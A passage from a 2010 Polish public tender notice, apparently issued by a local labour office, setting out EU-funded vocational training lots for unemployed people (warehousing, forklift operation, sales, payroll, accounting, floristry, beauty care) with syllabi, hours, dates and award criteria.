<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 20 osób bezrobotnych w dwóch edycjach po 10 osób w zakresie Magazynier współfinasowanych przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Zasady gospodarki magazynowej - 50 godz.
1. Znajomość zasad gospodarki magazynowej i technologii prac magazynu: 
a.	organizacja prac magazynowych w przedsiębiorstwie przyjęcie, składowanie, kompletacja, wydanie,
b.	manipulacje materiałami i pakowanie: manipulacje materiałami, podział sprzętu do manipulacji materiałami ze względu na jego konstrukcję, kryteria wyboru sprzętu do manipulacji materiałami, opakowanie, opakowania - wymogi projektowe, kody kreskowe, konteneryzacja, koncepcja systemu informacji logistycznej,
c.	charakterystyka technologicznego procesu magazynowania,
d.	proces magazynowy czynność przyjęcia towarów do magazynu, 
e.	zasady i kryteria ustalenia miejsc składowania, 
f.	procedury i dokumenty dostawy, 
g.	proces magazynowy - czynności kompletacji i wydania z magazynu, a w nim: określenie ścieżki kompletacyjnej jedno i dwustopniowej, określenie zasad i miejsc grupowania asortymentów według zleceń wydania, przepakowania i zabezpieczenia asortymentów do wysyłki, załadunku i wysyłki do odbiorców.
2. Zasady dystrybucji towarów: specyfika sprzedaży do dystrybucji, pozyskiwanie, selekcja i wykorzystanie informacji, motywy działania pośrednika, zasady długofalowej współpracy, Sprzedaż promocji i nowych produktów, zasady weryfikacji partnerów handlowych, argumenty  pozacenowe.
3. Gospodarka zapasami: znaczenie zapasów, przyczyny utrzymywania zapasów, koszty zapasów, klasyfikacja zapasów, podejmowanie decyzji dotyczących zarządzania zapasami:
a. podstawowe decyzje w zarządzaniu zapasami,
b. metoda stałej wielkości zamówienia przy znanym i pewnym popycie,
c. metoda stałej wielkości zamówienia przy niepewnym (nieokreślonym) popycie,
d. metoda stałego okresu zamawiania,
e. tradycyjne metody zarządzania zapasami a ocena.
4. Inwentaryzacja stanów magazynów: 
a.	pobranie aktualnych stanów magazynowych,
b.	wydruk spisu z natury dla komisji inwentaryzacyjnej, 
c.	wprowadzenie ilości spisanych przez komisję do programu, 
d.	aktualizacja stanów magazynowych, 
e.	wydruk remanentu, 
f.	rodzaje inwentaryzacji: inwentaryzacja ręczna, inwentaryzacja elektroniczna prowadzona przy pomocy inwentaryzatora.
5. Cele, zadania i wyposażenie magazynu: charakterystyka i właściwości towarów, oznaczenia towarów, zasady rozmieszczania towarów w punkcie sprzedaży:
a.	wymagania dotyczące obiektu magazynowego wynikające z warunków przechowywania
b.	urządzenia do składowania:
c.	regały ramowe do ręcznej obsługi, regały ramowe paletowe, regały do materiałów o większych wymiarach, regały zblokowane (wjezdne), regały przepływowe, regały przejezdne, regały okrężne paternoster, regały specjalne stojaki, wieszaki, podkłady,
d.	środki transportu: wózki naładowne, wózki unoszące, wózki ciągnikowe, wózki podnośnikowe, automatyczne wózki jezdniowe, układnice, żurawie, wciągniki, suwnice, przenośniki, manipulatory,
e.	pomocnicze urządzenia magazynowe: pojemniki, palety, kontenery, paletyzatory, depaletyzatory, pomosty, czytniki kodów, waga, urządzenia do zarządzania i łączności, urządzenia do taśmowania
f.	funkcje magazynu 
g.	rodzaje magazynów
Kierowca wózków jezdniowych 67 godz.
a.	typy stosowanych wózków jezdniowych - 4 godz.
b.	budowa wózka - 8 godz.
c.	czynności operatora przy obsłudze wózków przed i po pracy z wózkami - 8 godz.
d.	czynności operatora w czasie pracy wózkami - 8 godz.
e.	wiadomości z zakresu ładunkoznawstwa - 4 godz.
f.	wiadomości z zakresu BHP - 8 godz. 
g.	wiadomości o dozorze technicznym - 4 godz.
h.	praktyczna nauka jazdy i manewrowania osprzętem wózków - 15 godz.
i.	przygotowanie kierowcy do wykonywania czynności związanych z wymianą butli -2 godz.
j.	pokaz przez instruktora sposobu wymiany butli zgodnie z przepisami i zasadami bezpieczeństwa i higieny pracy, z uwzględnieniem poszczególnych czynności i szczególnym zwróceniem uwagi na czynności trudne i niebezpieczne - 0,5 godz.
k.	próbne wykonanie wymiany butli przez kierowcę wózka pod nadzorem instruktora -0,5 godz.
l.	samodzielna wymiana butli pod nadzorem instruktora - 4 godz.
m.	omówienie i ocena przebiegu czynności wymiany butli wykonywanej przez kierowcę -1 godz.
Obsługa kas fiskalnych - 12 godz.
podstawy prawne wprowadzania i użytkowania kas rejestrujących, budowa i rodzaje kas rejestrujących, dokumenty (raporty) fiskalne wydawane przez kasy rejestrujące, organy i podmioty uprawniane do kontroli, sprawdzania i naprawiania kas rejestrujących - 4, ćwiczenia praktyczne w zakresie obsługi kas fiskalnych 8h.
Praktyczne aspekty realizacji zasad GHP/GMP (minimum sanitarne) - 10 godz.
pojęcia związane z jakością i bezpieczeństwem zdrowotnym żywności - podstawy prawne i założenia teoretyczne - 2 godz. Higiena  w zakładzie realizacja zasad GHP/GMP - 14 podstawowych obszarów - 8 godz.
Obsługa komputera - Windows oraz Programu SUBIEKT - 61 godz.
     WINDOWS - Przetwarzanie tekstów - edytor tekstu WORD -rozpoczęcie pracy z edytorem tekstów podstawowe operacje, modyfikowanie dokumentów, zaawansowane sposoby formatowania, dokumentu, drukowanie dokumentu, wstawianie grafiki do dokumentu, arkusze kalkulacyjne - arkusz Excel - rozpoczęcie pracy z arkuszem kalkulacyjnym, podstawowe operacje, formuły i funkcje, formatowanie danych,  grafika i wykresy, obsługa Internetu i poczty elektronicznej
PROGRAM SUBIEKT
Typowe mechanizmy: tabela, lista kontrahentów, lista towarów i usług, wyszukiwarka InsTYNKT, typowe elementy okien, typowe funkcje, typowe skróty klawiszowe, główne moduły: kartoteka kontrahentów, kartoteka towarów i usług, dokumenty handlowe, sprzedaż - faktury i rachunki, zakupy - faktury  i rachunki, magazyn, finanse, zestawienia, administracja: podmiot, magazyn, kontrahenci, personel, urzędy skarbowe, rachunki bankowe, towary i usługi, dokumenty, kasy, stawki VAT, rabaty, formy płatności, należności i zobowiązania, odsetki, kategorie, grupy, wydruki, urządzenia fiskalne.
Ogółem: 200 godz.
W cenie należy uwzględnić koszt badań lekarskich i egzaminu UDT. Każdy z uczestników ma mieć zapewnione własne stanowisko komputerowe.
Przy realizacji modułu obsługa kasy fiskalnej wymaga się zapewnienia 1 kasy fiskalnej dla dwóch uczestników szkolenia.
W ramach szkolenia uczestnicy muszą przystąpić do egzaminu, którego celem jest uzyskanie zaświadczenia kwalifikacyjnego do obsługi wózków jezdniowych wystawionego przez Urząd Dozoru Technicznego. 
Czas trwania: 6 tygodni
Termin realizacji: 14.06.2010r. - 23.07.2010r. I edycja
                                06.09.2010r. - 15.10.2010r. II edycja
Planowane terminy organizacji szkoleń mogą ulec zmianie.
Wykonawca zobowiązany jest po ukończeniu szkolenia do wydania zaświadczenia na podstawie § 6 Rozporządzenia Ministra Edukacji i Nauki z dnia 03.02.2006r. w sprawie uzyskania i uzupełnienia przez osoby dorosłe wiedzy ogólnej, umiejętności i kwalifikacji zawodowych w formach pozaszkolnych (Dz. U.  Nr 31, poz. 216)..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.51.00.00-2.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 4 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 60 osób bezrobotnych w czterech edycjach po 15 osób w zakresie Nowoczesny sprzedawca współfinasowanego przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Zapoznanie z podstawowymi pojęciami obowiązującymi w jednostce handlowej 3 godz. teorii
2.	Otoczenie przedsiębiorstwa handlowego 8 godz. teorii
3.	Marketing i reklama w  handlu detalicznym 8 godz. teorii
4.	Negocjacje w handlu 12 godz. teorii
5.	Podstawy posługiwania się systemem komputerowym i wydawanie faktur na komputerze 40 godz. praktyki
6.	Obsługa kas fiskalnych 14 godz. praktyki
7.	Obliczenia sklepowe obsługa programu SUBIEKT 20 godz. praktyki
8.	Praktyczne aspekty realizacji zasad GHP/GMP w Zakładzie Pracy 14 podstawowych obszarów księga HACCP, system HACCAP wdrażanie i certyfikacja 15 godz. teorii
9.	Podstawowe zasady rachunkowości i kontrola placówek handlowych 20 godz. teorii
10.	Kontrola i weryfikacja środków płatniczych 5 godz. teorii
11.	Zagadnienia dot. BHP 5 godz. teorii.
Ogółem: 150 godz. (76 godz. teorii, 74 godz. praktyki)
Każdy z uczestników ma mieć zapewnione własne stanowisko komputerowe.
Przy realizacji modułu obsługa kasy fiskalnej wymaga się zapewnienia 1 kasy fiskalnej dla dwóch uczestników szkolenia.
Szkolenie należy przeprowadzić na terenie powiatu oświęcimskiego.
Czas trwania: 4 tygodnie
Termin realizacji: 14.06.2010r. - 09.07.2010r. I edycja
                                02.08.2010r. - 27.08.2010r. II edycja
                                01.09.2010r. - 28.09.2010r. III edycja 
                                04.10.2010r. - 29.10.2010r. IV edycja
Planowane terminy organizacji szkoleń mogą ulec zmianie.
Wykonawca zobowiązany jest po ukończeniu szkolenia do wydania zaświadczenia na podstawie § 6 Rozporządzenia Ministra Edukacji i Nauki z dnia 03.02.2006r. w sprawie uzyskania i uzupełnienia przez osoby dorosłe wiedzy ogólnej, umiejętności i kwalifikacji zawodowych w formach pozaszkolnych (Dz. U.  Nr 31, poz. 216)..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 5 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 60 osób bezrobotnych w czterech edycjach po 15 osób w zakresie Pracownik kadrowo-płacowy współfinasowanego przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Specjalista ds. kadrowo-płacowych
1.	Prawo pracy i kodeks cywilny - 30 godz.
2.	Dokumentacja kadrowo-płacowa - 10 godz.
3.	ZUS - całokształt spraw ubezpieczeń, zasiłków -10 godz.
4.	Płace - całokształt spraw płacowych - 25 godz.
5.	Płace - obsługa programu Kadry i Płace, Płace i Płatnika 30 godz.
Razem: 105 godzin
Księga przychodów i rozchodów
Przygotowanie teoretyczno-praktyczne:
1.	Podstawy prawne rachunkowości. Uproszczona księgowość. Praca na drukach - razem 30 godz.
2.	Pracownia komputerowa program Mała Księgowość premium  Symfonia - 15 godz. 
            razem: 45 godz.
Ogółem: 150 godzin
Każdy z uczestników ma mieć zapewnione własne stanowisko komputerowe.
Szkolenie należy przeprowadzić na terenie powiatu oświęcimskiego.
Czas trwania: 4 tygodnie
Termin realizacji: 14.06.2010r. - 09.07.2010r. I edycja
                                02.08.2010r. - 27.08.2010r. II edycja
                                01.09.2010r. - 28.09.2010r. III edycja 
                                04.10.2010r. - 29.10.2010r. IV edycja
Planowane terminy organizacji szkoleń mogą ulec zmianie.
Wykonawca zobowiązany jest po ukończeniu szkolenia do wydania zaświadczenia na podstawie § 6 Rozporządzenia Ministra Edukacji i Nauki z dnia 03.02.2006r. w sprawie uzyskania i uzupełnienia przez osoby dorosłe wiedzy ogólnej, umiejętności i kwalifikacji zawodowych w formach pozaszkolnych (Dz. U.  Nr 31, poz. 216)..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 6 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 20 osób bezrobotnych w dwóch edycjach po 10 osób w zakresie Księgowość komputerowa współfinasowanego przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Kurs księgowości komputerowej I stopnia 50 godz.
1. Podstawy i organizacja rachunkowości podstawowe pojęcia z zakresu rachunkowości, zakładowy plan kont,
2. Zasady ewidencji zdarzeń gospodarczych: konto księgowe, ewidencja zdarzeń gospodarczych na kontach bilansowych i wynikowych, ewidencja syntetyczna i analityczna.
3. Rozrachunki i roszczenia rozrachunki z dostawcami, rozrachunki z tytułu VAT, ćwiczenia w ewidencji rozrachunków SYMFONIA FiK,
4. Aktywa trwałe: klasyfikacja aktywów trwałych, środki trwałe i ich ewidencja, amortyzacja środków trwałych, ewidencja wartości niematerialnych prawnych, ćwiczenia w ewidencji aktywów trwałych SYMFONIA FiK,
5. Wynagrodzenia: dokumentacja dotycząca wynagrodzeń, ubezpieczenia społeczne oraz inne świadczenia na rzecz pracowników, sporządzanie listy płac, ewidencja rozrachunków pracownikami z tytułu wynagrodzeń, rozrachunki z ZUS z tytułu składek na ubezpieczenie społeczne i zdrowotne, rozrachunki z US z tytułu zaliczki na podatek dochodowy od osób fizycznych, ćwiczenia w ewidencji wynagrodzeń narzutów na wynagrodzenia SYMFONIA FiK,
6. Środki pieniężne i rachunki bankowe: ewidencja operacji gotówkowych, ewidencja operacji bezgotówkowych, ćwiczenia w ewidencji środków pieniężnych - SYMFONIA FiK, 
7. Obrót towarowy i materiałowy:  ewidencja zakupu materiałów, ewidencja zakupu towarów, rozliczenie zakupu towarów, ewidencja sprzedaży towarów, ćwiczenia w ewidencji obrotu towarowego, 
8. Podatek od towarów usług: rozrachunki z tytułu podatku VAT, ewidencja księgowa podatku VAT, rozliczenie podatku VAT, ćwiczenia w ewidencji VAT - SYMFONIA FiK,
9. Podatek dochodowy: naliczenie podatku dochodowego, ewidencja podatku dochodowego
Kurs księgowości komputerowej II stopnia 50 godz.,
1. Bilans - zasady bilansowe: ćwiczenia w programie - SYMFONIA FiK,
2. Zasady ewidencji i rozliczania kosztów działalności operacyjnej: pojęcie i klasyfikacja kosztów, koszty rodzajowe, koszty funkcjonalne, ewidencja księgowa kosztów, ćwiczenia w ewidencjonowaniu kosztów zespołu 4 i 5 - SYMFONIA FiK,
3. Rozliczenia międzyokresowe kosztów: pojęcie i klasyfikacja RMK, ewidencja księgowa RMK, ćwiczenia - SYMFONIA FiK,
4. Obrót materiałowy: pojęcie i klasyfikacja materiałów, ewidencja zakup materiałów, koszty zakupu materiałów ich rozliczenie ewidencja rozchodu materiałów, niedobory i nadwyżki , ćwiczenia w ewidencji obrotu materiałowego - SYMFONIA FiK,
5. Środki pieniężne i rachunki bankowe: ewidencja środków pieniężnych, kredyty bankowe, papiery wartościowe, ćwiczenia w ewidencji środków pieniężnych - SYMFONIA FiK,
6. Środki trwałe: zakup środków trwałych z własnych funduszy, zakup środków trwałych z funduszy obcych, ewidencja zakupu i sprzedaży środków trwałych, amortyzacja w ujęciu ustawy o rachunkowości i ustawy o podatku ćwiczenia w ewidencji środków trwałych i amortyzacji - SYMFONIA FiK,
7.Wynagrodzenia: ewidencja księgowa wynagrodzeń i obciążeń wynikających z wynagrodzeń, ZFŚS - zasady tworzenia i wykorzystania, świadczenia dla pracowników ZFŚS, ćwiczenia w ewidencji wynagrodzeń - SYMFONIA FiK,
8. Ewidencja produktów pracy: ewidencja przychodu wyrobów gotowych, rozliczenie produkcji, kalkulacja i wycena produkcji niezakończonej, ćwiczenia w ewidencji produktów pracy - SYMFONIA FiK,
9. Przychody i koszty związane z ich osiągnięciem: ewidencja sprzedaży wyrobów gotowych, przychody i koszty operacyjne, przychody i koszty finansowe straty i zyski nadzwyczajne
10. Wynik finansowy i jego podział: obowiązkowe obciążenie wyniku finansowego, ustalenie finansowego rozliczenie wyniku finansowego Kurs księgowości komputerowej III stopnia 54 godz.,
1. Finansowy i rzeczowy majątek trwały: rzeczowy majątek trwały, udziały i akcje, papiery wartościowe, wartość firmy, ćwiczenia w ewidencji majątku trwałego - SYMFONIA FiK,
2. Majątek obrotowy: zaliczki na poczet dostaw, reklamacje, należności i roszczenia, rezerwy, papiery wartościowe, przeznaczone do obrotu, ćwiczenia w ewidencji majątku obrotowego - SYMFONIA FiK,
3. Rozliczenia międzyokresowe: czynne rozliczenia międzyokresowe kosztów, inne rozliczenia międzyokresowe, ćwiczenia w ewidencji rozliczeń międzyokresowych - SYMFONIA FiK,
4. Rezerwy: rezerwy i przychody przyszłych okresów, rezerwy na podatek dochodowy od osób prawnych lub osób fizycznych, ćwiczenia w ewidencji rezerw - SYMFONIA FiK,
5. Zobowiązania długoterminowe: długoterminowe pożyczki, obligacje i inne papiery wartościowe, ćwiczenia w ewidencji zobowiązań - SYMFONIA FiK, 
6. Zobowiązania krótkoterminowe: kredyty bankowe, zaliczki otrzymane, zobowiązania z tytułu dostaw i usług, zobowiązania z tytułu wynagrodzeń,
7. Deklaracje ZUS: zakres ubezpieczeń społecznych i zdrowotnych, sporządzanie deklaracji ZUS, ćwiczenia w programie PŁATNIK,
8. Sprawozdawczość finansowa: sporządzanie RZiS, sporządzanie bilansu
9. Deklaracje podatkowe: sporządzanie deklaracji VAT-7, sporządzanie deklaracji PIT-4, sporządzanie deklaracji PIT-5, sporządzanie deklaracji CIT-2.
Ogółem: 154 godz.
Każdy z uczestników ma mieć zapewnione własne stanowisko komputerowe.
Szkolenie należy przeprowadzić na terenie powiatu oświęcimskiego.
Czas trwania: 4 tygodnie
Termin realizacji: 14.06.2010r. - 09.07.2010r. I edycja
                                01.09.2010r. - 28.09.2010r. II edycja
Planowane terminy organizacji szkoleń mogą ulec zmianie.
Wykonawca zobowiązany jest po ukończeniu szkolenia do wydania zaświadczenia na podstawie § 6 Rozporządzenia Ministra Edukacji i Nauki z dnia 03.02.2006r. w sprawie uzyskania i uzupełnienia przez osoby dorosłe wiedzy ogólnej, umiejętności i kwalifikacji zawodowych w formach pozaszkolnych (Dz. U.  Nr 31, poz. 216)..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 7 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 45 osób bezrobotnych w trzech edycjach po 15 osób w zakresie Operator wózków jezdniowych współfinasowanego przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Typy stosowanych wózków jezdniowych - 4 godz.;
2.	Budowa wózka - 8 godz.; 
3.	Czynności operatora przy obsłudze wózków przed i po pracy z wózkami - 8 godz.; 
4.	Czynności operatora w czasie pracy wózkami - 8 godz.; 
5.	Wiadomości z zakresu ładunkoznawstwa - 4 godz.; 
6.	Wiadomości z zakresu BHP - 8 godz.; 
7.	Wiadomości o dozorze technicznym - 4 godz.
8.	Praktyczna nauka jazdy i manewrowania osprzętem wózków - 15 godz. 
9.	Przygotowanie kierowcy do wykonywania czynności związanych z wymianą butli - 2 godz.
10.	Pokaz przez instruktora sposobu wymiany butli zgodnie z przepisami i zasadami bezpieczeństwa i higieny pracy, z uwzględnieniem poszczególnych czynności i szczególnym zwróceniem uwagi na czynności trudne i niebezpieczne - 0,5 godz.
11.	Próbne wykonanie wymiany butli przez kierowcę wózka pod nadzorem instruktora -   0,5 godz.
12.	Samodzielna wymiana butli pod nadzorem instruktora - 4 godz.
13.	Omówienie i ocena przebiegu czynności wymiany butli wykonywanej przez kierowcę - 1 godz. 
Ogółem: 67 godz.
W cenie należy uwzględnić koszt badań lekarskich i egzaminu UDT. 
Czas trwania: 2 tygodnie
Termin realizacji: 14.06.2010r. - 25.06.2010r. I edycja
                                09.08.2010r. - 20.08.2010r. II edycja
                                11.10.2010r. - 22.10.2010r. III edycja
Planowane terminy organizacji szkoleń mogą ulec zmianie..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.51.00.00-2.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 8 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 20 osób bezrobotnych w dwóch edycjach po 10 osób w zakresie Florystyka - bukieciarstwo współfinasowanego przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Faza zbioru roślin i przygotowanie do suszenia 3 godz.
2.	Technika suszenia roślin metodą zielarską i ich przechowywanie 6 godz.
3.	Dobór gatunków roślin i przygotowanie do suszenia metodą zielnikową 2 godz.
4.	Technika suszenia roślin metodą zielnikową i przechowywanie utrwalonych roślin 6 godz.
5.	Przygotowanie roślin i desykantów 6 godz.
6.	Technika utrwalania roślin metodą glicerynową 3 godz.
7.	Metody i techniki stosowane w konstrukcjach bukietów - drutowanie, szynowanie, watowanie 3 godz.
8.	Dobór materiałów do dekoracji pogrzebowych 4 godz.
9.	Wieniec obręczowy - technika wykonania 10 godz.
10.	Wieniec poduszkowy - technika wykonania 10 godz.
11.	Wieniec rzymski 10 godz.
12.	Wiązanki pogrzebowe - rodzaje i technika wykonania 10 godz.
13.	Wiązanka układana w ręku na jodle i liściach z szarfą, wiązanka układana na florecie, wianki i wieńce, kompozycja na wszystkich świętych, dekoracja urny i trumny - 20 godz.
14.	Technika wykonania poduszki 8 godz.
15.	Dekoracje w kształcie serca i krzyża 5 godz.
16.	Rodzaje wiązanek ślubnych i zasady układania roślin 8 godz.
17.	Materiał roślinny i materiały pomocnicze do wiązanek ślubnych 2 godz.
18.	Wiązanka biedermajerowska 8 godz.
19.	Wiązanka spływająca 10 godz.
20.	Wiązanki fantazyjne 10 godz.
21.	Biżuteria kwiatowa korszasze, butonierki, bransolety, przypinki, naszyjniki 4 godz.
22.	Autocorso 2 godz.
23.	Dekoracje sal weselnych: stołu, kościoła, krzeseł dla młodej pary i gości 15 godz.
24.	Dobór gatunków roślin do wianka 2 godz.
25.	Technika wykonania wianka i wiązanki komunijnej 5 godz.
26.	Zasady doboru kwiatów do kompozycji 2 godz.
27.	Technika układania kwiatów w ręku 15 godz.
28.	Zasady układania kwiatów w naczyniach 2 godz.
29.	Technika układania kwiatów w naczyniach 15 godz.
30.	Stroiki na Boże Narodzenie 10 godz.
31.	Girlanda i wianek na Boże Narodzenie 12 godz.
32.	Komponowanie roślin doniczkowych 4 godz.
33.	Dekorowanie sal bankietowych i konferencyjnych, konstrukcje 10 godz.
34.	Planowanie i organizowanie pracy własnej (w tym prowadzenie działalności gospodarczej) i podległych pracowników, podstawowe zasady praktycznego marketingu i funkcjonowania kwiaciarni 30 godz.
35.	Planowanie i wykonywanie projektów 8 godz.
36.	Organizowanie zaopatrzenia w materiał roślinny i nieroślinny, wdrażanie nowości florystycznych 5 godz.
37.	Pozyskiwanie zleceń na wykonanie dekoracji florystycznych 2 godz.
38.	Prowadzenie promocji kwiatów i dekoracji florystycznych 2 godz.
39.	Pielęgnowanie roślin ciętych, doniczkowych i gotowych dekoracji florystycznych 2 godz.
40.	Sprzedaż, obsługa klienta i udzielanie porad dotyczących roślin ciętych, kwiatów doniczkowych i dekoracji florystycznych 2 godz.
41.	Pakowanie i przygotowanie do transportu i/lub przechowywania roślin ciętych, doniczkowych oraz gotowych wyrobów florystycznych 4 godz.
42.	Konserwowanie/suszenie roślin różnymi metodami 2 godz.
43.	Zapewnianie jakości wyrobów florystycznych przestrzeganie określonych procedur ich wykonania 2 godz.
44.	Zabezpieczanie miejsca pracy oraz sprzętu i narzędzi do/po pracy 3 godz.
45.	Obsługa kas fiskalnych - 12 godz.
podstawy prawne wprowadzania i użytkowania kas rejestrujących, budowa i rodzaje kas rejestrujących, dokumenty (raporty) fiskalne wydawane przez kasy rejestrujące, organy i podmioty uprawniane do kontroli, sprawdzania i naprawiania kas rejestrujących - 4, ćwiczenia praktyczne w zakresie obsługi kas fiskalnych 8 godz.
Ogółem: 316 godz.
Każdy z uczestników ma mieć zapewnione własne stanowisko pracy.
Przy realizacji modułu obsługa kasy fiskalnej wymaga się zapewnienia 1 kasy fiskalnej dla dwóch uczestników szkolenia.
Szkolenie należy przeprowadzić na terenie powiatu oświęcimskiego.
Czas trwania: 8 tygodni
Termin realizacji: 21.06.2010r. - 13.08.2010r. I edycja
                                06.09.2010r. - 29.10.2010r. II edycja
Planowane terminy organizacji szkoleń mogą ulec zmianie.
Wykonawca zobowiązany jest po ukończeniu szkolenia do wydania zaświadczenia na podstawie § 6 Rozporządzenia Ministra Edukacji i Nauki z dnia 03.02.2006r. w sprawie uzyskania i uzupełnienia przez osoby dorosłe wiedzy ogólnej, umiejętności i kwalifikacji zawodowych w formach pozaszkolnych (Dz. U.  Nr 31, poz. 216)..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 9 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 20 osób bezrobotnych w dwóch edycjach po 10 osób w zakresie Kosmetyczka - wizażystka współfinasowanego przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Zabiegi pielęgnacyjne twarzy:
1.	Zapoznanie z wyposażeniem oraz organizacją pracy w gabinecie kosmetycznym 2 godz.
2.	Rozpoznawanie rodzaju cery 4 godz.
3.	Zapoznanie z obsługą i zastosowanie lamp i aparatów wykorzystywanych w gabinecie kosmetycznym 4 godz.
4.	Wykonywanie zabiegu oczyszczania mechanicznego skóry twarzy w gabinecie kosmetycznym 12 godz.
5.	Wykonywanie masażu twarzy 8 godz.
6.	Wykonywanie klasycznych zabiegów pielęgnacyjnych przeznaczonych do podstawowych rodzajów cery 20 godz.
7.	Przygotowanie stanowiska pracy i klientki do wykonywania zabiegu farbowania rzęs i brwi z regulacją łuku brwiowego 8 godz.
8.	Określenie i ustalanie kształtu łuku brwiowego dla danego kształtu twarzy 4 godz.
Zabiegi pielęgnacyjne dłoni i stóp:
1.	Organizowanie stanowiska pracy do wykonywania zabiegu manicure i zapoznanie się z narzędziami do wykonywania zabiegu 4 godz.
2.	Wykonywanie masażu dłoni 2 godz.
3.	Rozpoznanie przeciwwskazań do manicure i zabiegów pielęgnacyjnych dłoni 3 godz.
4.	Wykonywanie zabiegu pielęgnacyjnego dłoni 4 godz.
5.	Wykonywanie zabiegu manicure 6 godz.
6.	Malowanie płytki paznokciowej z zastosowaniem dowolnych technik zdobnictwa 3 godz.
7.	Organizowanie stanowiska pracy do pedicure 3 godz.
8.	Rozpoznawanie przeciwwskazań do pedicure i pielęgnacji stóp 3 godz.
9.	Wykonywanie zabiegu pedicure przy użyciu odpowiednich preparatów i narzędzi 6 godz.
10.	Wykonywanie masażu stóp 3 godz.
11.	Wykonywanie zabiegu pielęgnacyjnego stóp i malowania płytki paznokciowej 6 godz.
Zabiegi depilacyjne:
1.	Rodzaje nadmiernego owłosienia i określanie przyczyn jego występowania 2 godz.
2.	Wykonywanie depilacji ciepłym woskiem kończyn dolnych i górnych 8 godz.
3.	Wykonywanie depilacji ciepłym woskiem dołów pachowych, strefy bikini i wąsików 8 godz.
Zabiegi pielęgnacyjne:
1.	Przeprowadzanie diagnozy stanu skóry, biustu, ramion, łokci i kolan 2 godz.
2.	Wykonywanie masażu ręcznego piersi 2 godz.
